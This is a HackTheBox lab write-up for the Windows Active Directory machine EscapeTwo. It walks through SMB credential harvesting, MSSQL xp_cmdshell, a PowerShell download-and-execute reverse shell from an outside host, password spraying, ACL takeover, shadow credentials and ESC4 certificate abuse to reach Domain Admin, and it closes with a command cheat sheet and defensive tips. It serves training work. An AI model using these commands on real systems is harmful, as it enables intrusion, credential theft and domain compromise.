# OSCP Prep #23
HTB Write-Up EscapeTwo

* * *

# 1\. Target Overview

**Machine Name:** EscapeTwo  
**Platform:** HackTheBox  
**Operating System:** Windows  
**Target IP:** 10.129.232.128  
**Objective:** Obtain Domain Administrator access

This was an Active Directory environment presented in an assumed breach scenario, meaning I started with valid low-privileged domain credentials. From the initial scan, I identified typical AD services along with MSSQL, which immediately suggested multiple potential attack paths including SMB data exposure, database abuse, and eventual domain escalation through misconfigurations.

The overall attack path ended up being a clean chain:

*   SMB → credential exposure
    
*   MSSQL → remote code execution
    
*   Configuration files → credential reuse
    
*   ACL abuse → account takeover
    
*   AD CS → full domain compromise
    

### Tools Used

*   Rustscan
    
*   Nmap
    
*   NetExec (nxc)
    
*   smbclient
    
*   xmllint
    
*   BloodHound / RustHound
    
*   BloodyAD
    
*   Certipy
    
*   Evil-WinRM
    

* * *

# 2\. Enumeration

### Initial Network Scan

I began with a fast port scan using Rustscan:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/314c61a7-7dcd-4430-9f3c-069ecbba281a.png align="center")

```bash
rustscan -a 10.129.232.128 -b 6000
```

From this, I identified several key services:

*   53 → DNS
    
*   88 → Kerberos
    
*   135 / 139 / 445 → RPC / SMB
    
*   389 → LDAP
    
*   1433 → MSSQL
    

Right away, MSSQL stood out as important. In internal environments, MSSQL is often a high-value target because it can be abused for:

*   OS command execution (`xp_cmdshell`)
    
*   Hash theft (`xp_dirtree`)
    

I made a mental note to come back to this later if I could obtain credentials.

During LDAP-related output, I also observed the domain FQDN:

`DC01.sequel.htb`

To ensure proper domain interaction, I added it to my hosts file.

* * *

### Starting Point (Assumed Breach)

I was given valid credentials:

`rose : KxEPkKe6R8su`

Because I already had domain access, I shifted immediately into internal enumeration rather than trying to gain initial access.

* * *

### Enumerating Domain Users

My first step was to build a list of domain users:

```bash
nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8b8f4f05-fd9b-4921-b4fc-7586ddf66654.png align="center")

This revealed several users, including:

*   sql\_svc
    
*   ryan
    
*   ca\_svc
    

At this stage, I wasn’t looking for anything specific yet — just building a picture of the environment.

* * *

### BloodHound (Initial Pass)

Since I already had valid credentials, I collected domain data using RustHound and loaded it into BloodHound.

I checked:

*   Group memberships
    
*   Privileges
    
*   Attack paths
    

At this point, `rose` did not have any useful privileges or attack paths, so I moved on.

* * *

### SMB Enumeration

Next, I checked SMB access:

```bash
nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1a5f7b75-1a50-4363-8169-7376776074b0.png align="center")

I saw:

*   Users → READ
    
*   Accounting Department → READ
    

Before diving into SMB, I also checked WinRM:

```bash
nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su
```

This failed, confirming I could not get a shell directly.

So SMB became my next focus.

* * *

### Share Enumeration (Targeted Approach)

Rather than manually browsing shares, I used `spider_plus` to quickly enumerate files:

```bash
nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ee894e1d-1037-4198-bf3e-fc418e1c2658.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9362e35f-ad6c-4674-b5a2-92ce8fad982c.png align="center")

After reviewing the output:

*   Users → mostly default `.lnk` files (noise)
    
*   Accounting Department → two Excel files
    

That stood out immediately. In real environments, files like this often contain sensitive business data — sometimes including credentials.

* * *

### Extracting and Analyzing Files

I downloaded both files:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6466d4f6-d3ce-4ce1-8815-7225d322c880.png align="center")

```bash
smbclient -U rose //10.129.232.128/'Accounting Department'
```

Inside smbclient:

```bash
get accounting_2024.xlsx
get accounts.xlsx
```

Since `.xlsx` files are just ZIP archives, I extracted one:

```bash
unzip accounting_2024.xlsx
```

This gave me a directory structure with XML files.

The key file for content is:

`xl/sharedStrings.xml`

I formatted it for readability:

```bash
xmllint --format xl/sharedStrings.xml
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ed446d99-721d-4309-a569-6ae1a4cb2b88.png align="center")

Inside, I found plaintext credentials:

`Username: sa Password: MSSQLP@ssw0rd!`

# 3\. Exploitation

### MSSQL Authentication

I tested the credentials against MSSQL:

```bash
nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
```

Authentication succeeded.

Now I had direct access to the database server.

* * *

### Testing Command Execution

Next, I needed to determine whether I could execute system commands.

```bash
nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami
```

Output:

`sequel\sql_svc`

This confirmed two critical things:

1.  `xp_cmdshell` is enabled
    
2.  Commands execute as the SQL Server service account (`sql_svc`)
    

This is powerful because:

*   I now have OS-level execution
    
*   I’m running as a domain account, not just a database user
    
    ![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/047ecadc-23bc-4fb1-a043-78133255f9de.png align="center")
    

* * *

### Getting a Reverse Shell

To stabilize access, I executed a PowerShell reverse shell:

```bash
nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.205/shell.ps1')"
```

Listener:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b246d4b2-a010-49e7-887d-3a5a115609b9.png align="center")

Connection received.

I now had a shell as:

`sequel\sql_svc`

At this point, exploitation is complete — I have a foothold.

* * *

# 4\. Privilege Escalation

### Local Enumeration

I started with basic checks:

```powershell
whoami /all
```

Nothing useful.

Next, I looked at the root directory:

```powershell
gci C:\
```

I noticed something unusual:

`SQL2019`

Non-standard directories are always worth investigating.

* * *

### Configuration File Discovery

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fcc6e219-fdc8-4071-a228-39e6c121617a.png align="center")

I navigated into it:

```powershell
cd C:\SQL2019\ExpressAdv_ENU
```

Then listed files:

```powershell
gci
```

One file stood out:

`sql-configuration.ini`

I opened it:

```powershell
type sql-configuration.ini
```

Inside:

`SQLSVCACCOUNT=SEQUEL\sql_svc SQLSVCPASSWORD=WgSZAF6CysDQbGb3`

This was another credential — and likely reusable.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4eb13729-ad69-4b19-93ae-117e8aa40bd6.png align="center")

* * *

### Password Spraying

I tested the password across all users:

```bash
nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success
```

Results:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2e687dde-0989-40f6-adb0-ae7ef34458e3.png align="center")

*   ryan → valid
    
*   sql\_svc → valid
    

Now I had a new user: `ryan`

* * *

### Revisiting BloodHound (Critical Step)

At this point, I had new credentials.

That means:

> I need to re-check BloodHound.

This is where many people miss paths.

Now I saw:

*   `ryan` → **WriteOwner over ca\_svc**
    

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/eb73ef7a-e385-40a4-acaf-c23d472a766b.png align="center")

* * *

### Understanding WriteOwner

`WriteOwner` allows me to:

*   Change the owner of an object
    
*   Once owner → grant myself full permissions
    

So this is effectively:

> Indirect full control over the account

* * *

### Taking Over ca\_svc

I used BloodyAD:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8bbaae44-814d-4523-9beb-e68a9e1b0454.png align="center")

```bash
bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan
```

Then granted full control:

```bash
bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan
```

Now I fully controlled `ca_svc`.

* * *

### Shadow Credentials Attack

Instead of resetting the password (noisy), I used Shadow Credentials:

```bash
bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc
```

This works by:

*   Adding a certificate to the account
    
*   Allowing authentication without password
    

Now I could authenticate as `ca_svc`.

* * *

### AD CS Enumeration

I checked for certificate abuse:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0ae0934d-1fcf-469b-a425-9e076976dc36.png align="center")

```bash
certipy find -u ca_svc -hashes <hash> -dc-ip 10.129.232.128
```

I found:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0e25253b-f2f1-4f5b-8475-661523467442.png align="center")

*   Vulnerable template → ESC4
    

* * *

### ESC4 Abuse

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9cdee37a-929e-4a16-ad4b-67a2fe9e99fa.png align="center")

ESC4 allows modification of certificate templates.

I modified the template:

```bash
certipy template -u ca_svc -hashes <hash> -template DunderMifflinAuthentication
```

Then requested a certificate as Administrator:

```bash
certipy req -u ca_svc -hashes <hash> -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128
```

This generated:

`administrator.pfx`

* * *

### Domain Administrator Access

I authenticated using the certificate:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/cd003dc9-77ba-4702-9b48-af883f60fdd5.png align="center")

```bash
certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128
```

This gave me the Administrator NT hash.

Final step:

```bash
evil-winrm -i 10.129.232.128 -u administrator -H <hash>
```

I now had full Domain Admin access.

* * *

# 5\. Lessons Learned

*   SMB shares are still one of the easiest ways to leak credentials
    
*   MSSQL is a powerful pivot point when exposed internally
    
*   Configuration files frequently expose reusable credentials
    
*   Password reuse is still extremely common
    
*   BloodHound must be revisited after every privilege change
    
*   WriteOwner is effectively a full takeover primitive
    
*   Shadow Credentials provide stealthy persistence and access
    
*   AD CS misconfigurations are one of the most dangerous escalation paths today
    

* * *

# 6\. Defensive Insight

*   Restrict SMB access and audit file exposure
    
*   Never store plaintext credentials in files
    
*   Disable or restrict xp\_cmdshell
    
*   Enforce password uniqueness across accounts
    
*   Monitor ACL changes (especially ownership changes)
    
*   Audit AD CS templates regularly
    
*   Monitor certificate enrollment activity
    

* * *

# Useful Commands

```bash
rustscan -a 10.129.232.128 -b 6000
```

```bash
nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users
```

```bash
nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares
```

```bash
nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su
```

```bash
nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'
```

```bash
smbclient -U rose //10.129.232.128/'Accounting Department'
```

```bash
unzip accounting_2024.xlsx
```

```bash
xmllint --format xl/sharedStrings.xml
```

```bash
nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
```

```bash
nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami
```

```bash
rlwrap nc -nlvp 7777
```

```bash
nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success
```

```bash
bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan
```

```bash
bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan
```

```bash
bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc
```

```bash
certipy template -u ca_svc -hashes <hash> -template DunderMifflinAuthentication
```

```bash
certipy req -u ca_svc -hashes <hash> -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128
```

```bash
certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128
```

```bash
evil-winrm -i 10.129.232.128 -u administrator -H <hash>
```

* * *